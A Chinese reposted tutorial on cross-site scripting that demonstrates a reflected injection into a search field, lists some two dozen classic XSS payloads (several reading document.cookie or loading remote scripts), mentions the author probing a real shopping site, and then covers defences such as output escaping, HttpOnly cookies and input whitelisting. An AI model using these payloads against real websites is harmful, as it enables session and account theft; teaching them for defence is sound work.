微信号:grzlwx

介绍:光荣之路官方资讯

攻击方式学习之(1) - 跨站式脚本(Cross-Site Scripting)(二)

2015-09-15 22:33 光荣之路


实施方式

我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX,发现参数XXX原样的出现在了页面源码中:

<input type="text" class="Seach" name="w" value="XXX" />


OK,可以开始做文章了,我们将XXX替换为:abc"/><script>alert('haha')</script><a href=",返回的HTML代码如下:

<input type="text" class="Seach" name="w" value="abc"/><script>alert('haha')</script><!--" />


这样,<script>alert('haha')</script>被执行了。这里再举例一些XSS攻击行为:

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);

更加详细的列表请参见 5

危害

  1. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  3. 盗窃企业重要的具有商业价值的资料

  4. 非法转账

  5. 强制发送电子邮件

  6. 网站挂马

  7. 控制受害者机器向其它网站发起攻击


防范

  1. 必须明确:一切输入都是有害的,不要信任一切输入的数据。

  2. 缓和XSS问题的首要法则是确定哪个输入是有效的,并且拒绝所有别的无效输入。

  3. 替换危险字符,如:"&", "<", ">", ""","'", "/", "?",";", ":", "%", "<SPACE>", "=", "+"。各种语言替换的程度不尽相同,但是基本上能抵御住一般的XSS攻击。

    1. python的cgi.escape函数:

      def escape(s, quote=None):
      '''Replace special characters "&", "<" and ">" to HTML-safe sequences.
      If the optional flag quote is true, the quotation mark character (")
      is also translated.'''
      s = s.replace("&", "&amp;") # Must be done first!
      s = s.replace("<", "&lt;")
      s = s.replace(">", "&gt;")
      if quote:
      s = s.replace('"', "&quot;")
      return s

    2. ASP中的Server.HTMLEncode:

      <%= Server.HTMLEncode("The paragraph tag: <P>") %>

    3. ASP.NET的Server.HtmlEncode及Server.UrlEncode:

      String TestString = "This is a <Test String>.";
      String EncodedString = Server.HtmlEncode(TestString);
      Server.UrlEncode(Request.Url.ToString());

    4. PHP的htmlspecialchars方法:

      <?php
      $new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
      echo $new; // &lt;a href='test'&gt;Test&lt;/a&gt;
      ?>

    5. JAVA中的java.net.URLEncode.encode:

      String mytext = java.net.URLEncoder.encode("中国", "utf-8");

  4. 有些网站使用过滤javascript关键字的办法来防止XSS,其实是很不明智的,因为XSS有时候根本就不需要javascript关键字或者对javascript关键字进行格式变化来躲过过滤。

  5. 为所有的标记属性加上双引号。应该说这也不是万全之策,只是在转义了双引号的前提下的一道安全保障。比如:
    不加双引号时,onclick被执行了:

    <a href=http://www.xxx.com/detail.asp?id=2008 onclick='javascrpt:alert('haha')'>

    加上了双引号,onclick不会被执行:

    <a href="http://www.xxx.com/detail.asp?id=2008 onclick='javascrpt:alert('haha')'">

  6. 将数据插入到innerText属性中,脚本将不会被执行。如果是innerHTML属性,则必须确保输入是安全的。如ASP.NET中:

    <%@ Page Language="C#" AutoEventWireup="true"%>
    <html>
    <body>
    <span id="Welcome1" runat="server"> </span>
    <span id="Welcome2" runat="server"> </span>
    </body>
    </html>
    <script runat="server">
    private void Page_Load(Object Src, EventArgs e)
    {
    // Using InnerText renders the content safe–no need to HtmlEncode
    Welcome1.InnerText = "haha";
    // Using InnerHtml requires the use of HtmlEncode to make it safe
    Welcome2.InnerHtml = "Hello, " + Server.HtmlEncode("haha");
    }
    </Script>

  7. 使用IE6.0SP1的cookie选项HttpOnly,注意,HttpOnly只能阻止恶意脚本读取cookie,并不能阻止XSS攻击。比如在ASP.NET中:

    HttpCookie cookie = new HttpCookie("Name", "ZhangChangrong");
    cookie.Path = "/; HttpOnly";
    Response.Cookies.Add(cookie);

  8. 使用IE的<IFrame>的Security属性,设置为restricted后,frame中的脚本将不能执行(仅限于IE)。如:

    <iframe security="restricted" src="http://www.somesite.com/somepage.htm"></frame>

  9. ASP.NET中的ValidateRequest配置选项。默认情况下,这个功能是开启的,这个功能将会检查用户是否试图在 cookie、查询字符串以及HTML表格中设置HTML或脚本。如果请求包含这种潜在的危险输入,就会抛出一个 HttpRequestValidationException异常。我在尝试试探当当网的XSS漏洞时发现这个异常信息,可以说当当网使用了 ValidateRequest这个选项,或者从另一方面说,也许是无意中启用了这一选项,同时,将错误信息抛出给用户是非常不安全的。

    1. 给一个页面设置ValidateRequest选项:

      <%@ Page Language="C#" ValidateRequest="false" %>

    2. 在Machine.config中设置全局ValidateRequest选项,注意,如果在Web.config中重新设置,不会覆盖Machine.config中的这一设置:

      <system.web>
      <pages buffer="true" validateRequest="true" />
      </system.web>

    3. 让我们来目睹当当网给我们带来的这一盛况:


  10. 在一些必须使用到HTML标签的地方,比如公告栏,可以使用其他格式的标示代替,比如论坛中广泛使用的BBCode,用[i]...["i]来表示斜体。

  11. 然而,对于一些允许用户输入特定HTML的地方,强烈建议使用正则表达式进行匹配。比如:

    if (/^(?:["s"w"?"!","."'""]*|(?:"<"/"?(?:i|b|p|br|em|pre)">))*$/i)
    {
    #Cool, it's valid input
    }


发现问题

  1. 查找所有包含用户输入的入口。

  2. 跟踪流入应用程序的每一个数据。

  3. 确定数据是否与输出有关系。

  4. 如果与输出有关,它是不是原始数据,是不是经过处理的?


参考资料

  1. Michael Howard, David LeBlanc. "Writing Secure Code"

  2. Mike Andrews, James A. Whittaker "How to Break Web Software"

  3. http://en.wikipedia.org/wiki/Cross-site_scripting

  4. Klein, Amit (July 4, 2005). "DOM Based Cross Site Scripting or XSS of the Third Kind". Web Application Security Consortium. Retrieved on 2008-05-28.

  5. http://ha.ckers.org/xss.html

(完)

(作者:CoderZh 来源:http://www.cnblogs.com/coderzh/archive/2008/09/06/1285500.html)

 
            
 
            
 
            
 
           
 
           
 
           
 
           
 
           
 
           
 
           
 
           
 
           
 
           

一字一句当思来之不易,感谢作者,传播测试知识、技能与正能量!

光荣之路软件测试培训

官网:http://www.gloryroad.cn/

微信公众号:gloryroadtrain

性能测试QQ群:415987441
软件测试招聘QQ群: 203715128
自动化3群QQ: 371211499

 
光荣之路 更多文章 今天晚上的 linux 公开课- Awk 编程 7月28日(今天)晚上的 linux 公开课- shell编程 8月4日(今天)晚上的 linux 公开课- shell编程 9月1日(本周一)晚8点半,光荣之路Web自动化系列基础课—javascript第二讲 推荐本好书《与机器赛跑》
猜您喜欢 cSphere希云Docker实训营,第三期火热来袭 编程语言拟人化:Java、C++、Python、Ruby、PHP、C#、JS Neutron社区每周记(8.11-8.14)| OpenvSwitch 现已成为 Linux 基金会项目 恭祝中关村中心JSD1604系列班毕业班项目答辩圆满结束! 【深圳校区】千锋深圳校区移动互联专场招聘会 企业在千锋选英才